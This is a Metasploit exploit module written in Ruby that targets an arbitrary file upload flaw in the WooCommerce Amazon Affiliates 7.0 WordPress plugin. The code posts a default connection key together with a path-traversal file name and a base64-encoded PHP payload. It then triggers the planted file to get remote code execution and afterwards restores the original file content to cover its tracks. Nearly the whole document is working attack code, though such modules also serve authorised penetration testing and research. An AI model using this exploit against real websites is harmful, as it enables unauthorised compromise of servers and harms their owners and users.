##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'WordPress WooCommerce Amazon Affiliates Upload Vulnerability',
      'Description'    => %q{
        This module exploits an arbitrary file upload in the WordPress WooCommerce Amazon
        Affiliates version 7.0. It allows to upload arbitrary php files and get remote code
        execution. This module has been tested successfully on WordPress 4.2.1 on Ubuntu
        14.04 Server.
      },
      'Author'         =>
        [
          'Evex_1337', # Vulnerability Discovery
          'Roberto Soares Espreto <robertoespreto[at]gmail.com>'  # Metasploit Module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['WPVDB', '7940'],
          ['URL', 'http://packetstormsecurity.com/files/131629/'],
          ['URL', 'http://research.evex.pw/?vuln=13']
        ],
      'Privileged'     => false,
      'Platform'       => 'php',
      'Arch'           => ARCH_PHP,
      'Targets'        => [['WooCommerce Amazon Affiliates 7.0', {}]],
      'DisclosureDate' => 'Apr 01 2015',
      'DefaultTarget'  => 0)
    )

    register_options(
      [
        OptString.new('KEY', [true, 'A valid key on the target host', 'c125a47cba1e8ec73945dd622d142f79' ])
      ], self.class
    )
  end

  def check # rewrote check method
    release_log_url = normalize_uri(wordpress_url_plugins, 'wwc-amz-aff', 'plugin.php')
    check_version_from_custom_file(release_log_url, /^\s*(?:version)\s*(\d{1,2}\.\d{1,2}(?:\.\d{1,2})?).*$/mi, '7.0.1')
  end

  def inject(action)
    key = datastore['KEY']

    res = send_request_cgi(
      'uri'       => normalize_uri(wordpress_url_plugins, 'wwc-amz-aff', 'modules', 'remote_support', 'remote_tunnel.php'),
      'method'    => 'POST',
      'vars_post' => {
        'connection_key'  => key,
        'action'          => 'save_file',
        'file'            => '../../index.php',
        'file_content'    => Rex::Text.encode_base64(action)
      }
    )

    if res
      if res.code == 200 && res.body.include?('"status":"valid"') && action == payload.encoded
        print_good("#{peer} - Injecting payload...")
      elsif res.code == 200 && res.body.include?('"status":"valid"') && action != payload.encoded
        print_good("Restored original content.")
      else
        fail_with(Failure::Unknown, "#{peer} - Unable to deploy payload, server returned #{res.code}")
      end
    else
      fail_with(Failure::Unknown, 'Server did not answer')
    end
    return
  end

  def exploit
    inject(payload.encoded)
    print_status("#{peer} - Calling payload...")

    send_request_cgi(
      { 'uri' => normalize_uri(wordpress_url_plugins, 'wwc-amz-aff', 'index.php') },
      5
    )

    original_content = "<?php\n// Silence is golden."
    inject(original_content)
  end
end
